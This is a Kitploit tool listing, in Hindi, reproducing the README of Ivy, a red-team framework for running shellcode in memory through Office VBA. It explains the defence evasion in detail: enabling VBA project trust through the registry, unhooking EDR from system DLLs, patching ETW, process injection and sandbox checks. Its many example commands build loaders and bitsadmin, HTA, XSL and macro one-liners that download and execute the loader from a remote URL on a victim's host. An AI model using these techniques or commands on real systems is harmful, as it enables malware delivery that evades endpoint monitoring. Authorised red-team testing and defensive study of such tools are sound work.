Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Ivy — Ivy एक payload निर्माण framework है, जो arbitrary VBA (macro) source code को सीधे memory में execute करने के लिए है। Ivy का loader VBA object environment में programmatical access का उपयोग करके shellcode को load, decrypt और execute करता है। | Kitploit
उपकरण/GitHubGitHub/optiv/ivy
पेलोड जनरेशनशोषणशेलकोडपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंटArchived
GitHuboptiv/ivy

Ivy

Ivy एक payload निर्माण framework है, जो arbitrary VBA (macro) source code को सीधे memory में execute करने के लिए है। Ivy का loader VBA object environment में programmatical access का उपयोग करके shellcode को load, decrypt और execute करता है।

रिपॉजिटरी देखें
7431293 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

यह रिपॉजिटरी संग्रहीत की गई है

Ivy के नवीनतम संस्करण को देखने या कोई समस्या सबमिट करने के लिए, https://github.com/Tylous/Ivy देखें।



अधिक जानकारी

यदि आप इस फ्रेमवर्क में उपयोग की गई तकनीकों के साथ-साथ इससे बचाव के लिए सुरक्षा उपायों के बारे में अधिक जानना चाहते हैं, तो कृपया लेख देखें।

विवरण

Ivy एक पेलोड निर्माण फ्रेमवर्क है जो मेमोरी में मनमाने VBA (मैक्रो) स्रोत कोड के निष्पादन के लिए है। Ivy का लोडर ऐसा VBA ऑब्जेक्ट एनवायरनमेंट में प्रोग्रामेटिक एक्सेस का दुरुपयोग करके शेलकोड को लोड, डिक्रिप्ट और निष्पादित करने के लिए करता है। यह तकनीक वास्तव में फाइललेस होने के जितना संभव हो उतना करीब है, क्योंकि आजकल अधिकांश फाइललेस हमलों में डिस्क पर कुछ फाइलें ड्रॉप करने की आवश्यकता होती है, जिसके परिणामस्वरूप VBA कोड का पता लगाने के लिए मानक सिग्नेचर-आधारित नियमों को बायपास किया जाता है। सामान्य VBA पेलोड्स में निम्नलिखित विशेषताएं होती हैं:

  • मैक्रो सक्षम Office दस्तावेज़ों में मौजूद होते हैं
  • ये मैक्रो दस्तावेज़ डिस्क पर मौजूद होते हैं

पूरी तरह से मेमोरी में चलने से, ये व्यवहार विशेषताएँ EDRs द्वारा पता लगाए जाने को कठिन बना देती हैं।

Ivy के लोडर RC4 एन्क्रिप्शन का उपयोग करके एन्क्रिप्ट किए जाते हैं (AES एन्क्रिप्शन बहुत अधिक ब्लोट का कारण बनता है और VBA को डिक्रिप्ट करने में हमेशा लगता है) और फिर अलग-अलग स्ट्रिंग्स में तोड़ दिए जाते हैं, जिससे कोई भी सैंडबॉक्सिंग इन स्ट्रिंग्स को एन्क्रिप्टेड स्ट्रिंग्स के रूप में पहचानने से रोकता है जिनकी जांच की जानी चाहिए। यह किसी भी डिकोडिंग तंत्र को इन पेलोड्स को कचरे के अक्षरों के अलावा कुछ और पहचानने से भी रोकता है।

Ivy का लोडर पहले "Trust access to the VBA project object mode" को सक्षम करने के लिए एक रजिस्ट्री क्वेरी करता है। यह रजिस्ट्री कुंजी मान यूजर-मोड में संग्रहीत होता है जो उपयोगकर्ता को बिना किसी उन्नत अनुमति की आवश्यकता के मान को संशोधित करने की अनुमति देता है। रजिस्ट्री मान को शून्य से 1 पर सेट किया जाता है; यदि रजिस्ट्री कुंजी मौजूद नहीं है तो Ivy इसे "1" मान के साथ बनाएगा। इस मान को सक्षम करने पर, एक अलग प्रक्रिया से VBA ऑब्जेक्ट एनवायरनमेंट तक प्रोग्रामेटिक एक्सेस की अनुमति होती है।

एक बार यह हो जाने के बाद लोडर एक छिपी हुई Excel प्रक्रिया को स्पॉन करेगा और एन्क्रिप्टेड स्ट्रिंग्स को एक VBA फंक्शन में लोड करेगा। यह ActiveX का उपयोग करके उसी कार्य को करने के GUI क्रियाओं का अनुकरण करके किया जाता है। यह निष्पादन की निगरानी के लिए मौजूद कई पारंपरिक नियंत्रणों को बायपास करने में मदद करता है। परिणामस्वरूप, डिक्रिप्ट फंक्शन और शेलकोड एक मेमोरी बफर से दूसरे में स्थानांतरित होते हैं, कभी डिस्क को स्पर्श नहीं करते। अंत में, लोडर कमांड-GUI कॉल का उपयोग करता है और रन फंक्शन को निष्पादित करता है, जो VBA के GUI पैनल में रन मैक्रो बटन पर क्लिक करने की क्रिया का अनुकरण करता है, डिक्रिप्शन फंक्शन शुरू करता है, उसके बाद शेलकोड का वास्तविक निष्पादन होता है।

महत्वपूर्ण

लक्ष्य एंडपॉइंट पर Microsoft Office स्थापित और सक्रिय होना चाहिए, क्योंकि Ivy Microsoft Office के VBA एनवायरनमेंट तक प्रोग्रामेटिक एक्सेस के दुरुपयोग पर निर्भर करता है।

EDR अनहुक मोड

यह Ivy को निम्न-स्तरीय सिस्टम कॉल का उपयोग करके WriteProcessMemory विंडोज फंक्शन का अपना संस्करण बनाने की अनुमति देता है, जो प्रत्यक्ष मेमोरी पते और रजिस्टर मानों को अप्रत्यक्ष रूप से संदर्भित करता है। Ivy मेमोरी के उन अनुभागों को ओवरराइट कर सकता है जो बिना किसी मेमोरी चेंज API फंक्शन को कॉल किए लिखने योग्य नहीं हैं। यह WriteProcessMemory की एक विशेषता के कारण होता है जो अस्थायी रूप से मेमोरी क्षेत्र की अनुमतियों को लिखने योग्य में बदल देता है (यदि आपके पास पर्याप्त विशेषाधिकार हैं, जो हमारे पास हैं क्योंकि हम प्रक्रिया के मालिक हैं)। यह मान लिखता है और VirtualProtect फंक्शन को कॉल किए बिना मूल अनुमतियों को पुनर्स्थापित करता है, इसके बजाय यह स्वचालित रूप से संबंधित syscall (NtProtectVirtualMemory) को कॉल करता है।

Ivy NtWriteVirtualMemory का अपना संस्करण उपयोग नहीं करता क्योंकि मेमोरी अनुमतियों को अस्थायी रूप से बदलने की यह प्रक्रिया नहीं होगी, जिसका अर्थ है कि विशिष्ट मेमोरी पते की सुरक्षा संशोधित नहीं होगी और निष्पादन विफल हो जाएगा। यह एक "विशेषता" है जिसे Microsoft ने डीबगर्स को अधिक स्थिर बनाने के लिए जारी किया है। चूंकि डीबगर्स मेमोरी को मौके पर संशोधित करना चाहते हैं, वे कई कार्यों को करने की आवश्यकता के बिना एक अनुभाग को संशोधित कर सकते हैं। (जानकारी के लिए devblogs.microsoft.com देखें)

आइए उन घटनाओं की श्रृंखला पर एक नज़र डालें जो एक EDR देखेगा:

  • Ivy WriteProcessMemory फंक्शन बनाता है जो मैन्युअल रूप से उचित रजिस्ट्री मान सेट करता है।
  • हमारा फंक्शन सटीक मेमोरी पते को कॉल करता है जहाँ WriteProcessMemory संग्रहीत है। (यह kernel32.WriteProcessMemory को कॉल करने के बजाय रजिस्टर RAX को कॉल करने जैसा दिखेगा)
  • इसका मतलब है कि हम सीधे WriteProcessMemory को कॉल नहीं कर रहे हैं जबकि अभी भी सभी सुविधाओं का उपयोग कर रहे हैं।
  • EDR केवल असेंबली का एक स्ट्रिंग देखेगा जो किसी मेमोरी पते पर किसी भी दुर्भावनापूर्ण संकेतक से मेल नहीं खाता।
  • यह मेमोरी पता एक फंक्शन की शुरुआत होगी, लेकिन ASLR के कारण फंक्शन पता अद्वितीय है; प्रत्येक फंक्शन की खोज करनी होगी।
  • Write कार्रवाई किए जाने से पहले, मेमोरी क्षेत्र पर सुरक्षा देखने के लिए syscall ZWQueryVirtualMemory निष्पादित किया जाता है।
  • यदि यह मेमोरी लिखने योग्य नहीं है, तो अनुमतियाँ बदलने के लिए NtProtectVirtualMemory को कॉल किया जाता है।
  • फिर विशिष्ट मेमोरी पते पर 8 बाइट्स असेंबली लिखी जाती है।
  • मूल सुरक्षा मान को पुनर्स्थापित करने के लिए NtProtectVirtualMemory को एक बार फिर कॉल किया जाता है।

एक बार सभी EDR हुक हटा दिए जाने के बाद, लोडर फिर एक रिमोट सत्र स्थापित करने के लिए अपनी सामान्य कार्रवाई करता है।

Ivy इस समस्या को सामान्य सिस्टम DLLs के EDR के हुक को हटाकर संबोधित करता है, इनमें शामिल हैं:

  • Ntdll.dll
  • Kernel32.dll
  • Kernelbase.dll
  • Advapi32.dll
  • Sechost.dll
  • Ws2_32.dll
  • Winmmbase.dll

जब unhook का उपयोग Inject पेलोड प्रकार के साथ किया जाता है, तो Ivy का लोडर पहले ऑफिस प्रक्रिया को अनहुक करेगा, उसमें से EDR को हटाकर, और फिर इंजेक्ट की गई प्रक्रिया में हुक हटाएगा। यह सुनिश्चित करता है कि दोनों प्रक्रियाएँ हुक-मुक्त हों, जिससे पैरेंट और चाइल्ड प्रक्रिया से EDR को कोई टेलीमेट्री न भेजी जाए।

ETW पैचिंग

अनहुक करने के लिए उसी तकनीक का उपयोग करते हुए, Ivy ETW फंक्शन्स को पैच कर सकता है, जिससे प्रक्रिया द्वारा कोई भी ईवेंट उत्पन्न होने से रोका जा सके। ETW इस टेलीमेट्री को उत्पन्न करने के लिए बिल्ट-इन Syscalls का उपयोग करता है। चूंकि ETW विंडोज में निर्मित एक मूल सुविधा है, सुरक्षा उत्पादों को जानकारी प्राप्त करने के लिए ETW syscalls को "हुक" करने की आवश्यकता नहीं है। परिणामस्वरूप, ETW को रोकने के लिए, Ivy कई ETW syscalls को पैच करता है, रजिस्टरों को फ्लश करता है और निष्पादन प्रवाह को अगले निर्देश पर लौटाता है। ETW पैचिंग अब सभी लोडर में डिफ़ॉल्ट है, यदि आप ETW को पैच नहीं करना चाहते हैं तो अपने लोडर में इसे अक्षम करने के लिए -noetw कमांड-लाइन विकल्प का उपयोग करें।

डेमो

स्थापना

Ivy को go में विकसित किया गया था।

पहला कदम हमेशा की तरह रिपो को क्लोन करना है। Ivy को संकलित करने से पहले, आपको निर्भरताएँ स्थापित करनी होंगी। उन्हें स्थापित करने के लिए, निम्नलिखित कमांड चलाएँ:

root@kitploit:~
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go

फिर इसे बनाएँ

root@kitploit:~
go build Ivy.go

सहायता

root@kitploit:~
$ ./Ivy -h

     ___   ___      ___  ___    ___
    |\  \ |\  \    /  /||\  \  /  /|
    \ \  \\ \  \  /  / /\ \  \/  / /
     \ \  \\ \  \/  / /  \ \    / /
      \ \  \\ \    / /    \/  /  /
       \ \__\\ \__/ /   __/  / /
        \|__| \|__|/   |\___/ /
                       \|___|/
                       (@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?

Usage of ./Ivy:
    -Ix64 string
    	Path to the x64 payload
  -Ix86 string
    	Path to the x86 payload
  -O string
    	Name of output file
  -P string
    	Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
  -debug
    	Print debug statements
  -delivery string
    	Generates an one-liner command to download and execute the payload remotely:
    	[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
    	[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
    	[*] macro - Generates an office macro that would download and execute a the loader remotely.
    	[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
  -process32 string
    	The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
  -process64 string
    	The full path to the x64 application to spawn. Please  specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
  -product string
    	Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
  -sandbox
    	Enable sandbox evasion controls (i.e. checks if the system is domain joined)
  -stageless
    	Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
  -unhook
    	Unhooks EDR's hooks before loading payload
  -url string
    	URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)

लोडर जनरेट करना

Ivy के साथ लोडर जनरेट करते समय, आपको एक 64 और 32-बिट पेलोड जनरेट करना होगा और उन्हें -Ix64 और -Ix86 कमांड लाइन तर्कों के साथ इनपुट करना होगा। ऐसा इसलिए है क्योंकि ऑपरेटिंग सिस्टम 64-बिट हो सकता है लेकिन Office का चल रहा संस्करण वास्तव में 32-बिट हो सकता है; परिणामस्वरूप Ivy पेलोड इंजेक्ट करने से पहले उपयुक्त आर्किटेक्चर का पता लगाएगा।

इसके अलावा, लोडर जनरेट करते समय दो पेलोड प्रकार हैं। पहला, Inject, एक प्रक्रिया इंजेक्शन हमला करता है जहाँ एक नई प्रक्रिया को सस्पेंडेड अवस्था में स्पॉन किया जाता है और शेलकोड को प्रक्रिया में इंजेक्ट किया जाता है, फिर इसे रिज्यूम किया जाता है। जबकि प्रक्रिया इंजेक्शन सुविधाजनक हो सकता है और एक गैर-एक्सेल प्रक्रिया उत्पन्न करता है, EDRs इंजेक्ट करने के लिए एक सस्पेंडेड प्रक्रिया बनाने के कार्य का पता लगाने में बहुत कुशल हैं, जो हमें पकड़ सकता है। अधिक गुप्त विकल्प Local है। यह शेलकोड को सीधे वर्तमान Office प्रक्रिया में लोड करता है। Local विकल्प में पता लगाने से बचने के लिए अतिरिक्त सुविधाएँ भी आती हैं, जो कुछ Windows syscalls के प्रत्यक्ष कॉल का उपयोग करती हैं। ऐसा VBA वातावरण के कारण है जो हमें स्टैक के आधार पर सटीक फंक्शन को परिभाषित और कॉल करने की अनुमति देता है (बशर्ते हमने पहले सभी सही रजिस्टरों को संरेखित किया हो)। अंत में, इस पेलोड प्रकार में Ivy का लोडर शेलकोड को निष्पादित करने के लिए एक अप्रलेखित कॉल रखता है, जिससे निष्पादन को पकड़ना कठिन हो जाता है।

इंजेक्शन प्रक्रिया

Inject मोड के साथ Ivy शेलकोड इंजेक्ट करने के लिए एक सस्पेंडेड अवस्था में एक प्रक्रिया बनाएगा। यह 32-बिट या 64-बिट सिस्टम है, इसके आधार पर यह एक अलग प्रक्रिया स्पॉन करेगा। Ivy में स्पॉन करने के लिए कुछ डिफ़ॉल्ट प्रक्रिया नाम हैं, हालाँकि इन्हें process32 या process64 फ्लैग का उपयोग करके बदला जा सकता है। पथ निर्दिष्ट करते समय सुनिश्चित करें कि आप पथ के लिए \\ का उपयोग करें।

स्टेज्ड बनाम स्टेजलेस शेलकोड

सबसे पहले, आपको हमेशा -stageless तर्क का उपयोग करना चाहिए। हालाँकि, यदि आपको कभी स्टेज्ड पेलोड चलाने की आवश्यकता होती है, तो आप -stageless तर्क का उपयोग न करके ऐसा कर सकते हैं। -stageless का उपयोग करते समय आप रॉ शेलकोड का उपयोग कर सकते हैं, हालाँकि, जब आप स्टेज्ड पेलोड चलाने का चुनाव करते हैं, तो यह महत्वपूर्ण है कि Inject पेलोड प्रकारों के लिए शेलकोड VBA स्वरूपित होना चाहिए और Local प्रकारों के लिए शेलकोड C स्वरूपित होना चाहिए।

वितरण

डिलीवरी कमांड लाइन तर्क आपको (मैक्रो के मामले में) एक कमांड या कोड की स्ट्रिंग उत्पन्न करने की अनुमति देता है जो रिमोट स्रोत से पीड़ित के होस्ट पर फ़ाइल को दूरस्थ रूप से खींचेगा। इन वितरण विधियों में शामिल हैं:

  • Bits – यह एक bitsadmin कमांड उत्पन्न करेगा जो लोडर को दूरस्थ रूप से डाउनलोड करेगा, निष्पादित करेगा और हटा देगा।
  • HTA – यह लोडर युक्त एक खाली HTA फ़ाइल उत्पन्न करेगा। यह विकल्प एक कमांड लाइन भी प्रदान करेगा जो HTA को पृष्ठभूमि में दूरस्थ रूप से निष्पादित करेगा।
  • Macro – यह एक Office मैक्रो उत्पन्न करेगा जिसे Excel या Word मैक्रो दस्तावेज़ में रखा जा सकता है। जब यह मैक्रो निष्पादित होता है, तो लोडर एक दूरस्थ स्रोत से डाउनलोड किया जाएगा और निष्पादित किया जाएगा, फिर हटा दिया जाएगा।
  • XSL - लोडर युक्त एक xsl स्टाइलशीट फ़ाइल उत्पन्न करता है, साथ ही एक एक-लाइनर कमांड जो लोडर को दूरस्थ रूप से निष्पादित करता है।

उदाहरण

स्टेज्ड इंजेक्ट पेलोड

root@kitploit:~
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js

स्टेज्ड लोकल पेलोड

root@kitploit:~
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js

स्टेजलेस लोकल पेलोड

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js

स्टेजलेस इंजेक्टेड पेलोड

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js

स्टेजलेस इंजेक्टेड पेलोड notepad.exe को स्पॉन करते हुए

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js

अनहुक्ड स्टेजलेस लोकल पेलोड

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js

अनहुक्ड स्टेजलेस इंजेक्टेड पेलोड

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js

वन-लाइनर कमांड के नमूने

गैर-निष्पादन योग्य फ़ाइल प्रकार

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless

Bitsadmin कमांड

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless

MSHTA.exe कमांड

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless

स्टाइलशीट पेलोड

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless

मैक्रो वेब डाउनलोडर

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless

ज्ञात समस्याएँ

वर्तमान में रिमोट इंजेक्टेड प्रक्रिया को अनहुक करने में एक ज्ञात समस्या है। एक वर्तमान समाधान है कि फिलहाल unhook BOF लोड करें।

टूल डाउनलोड करें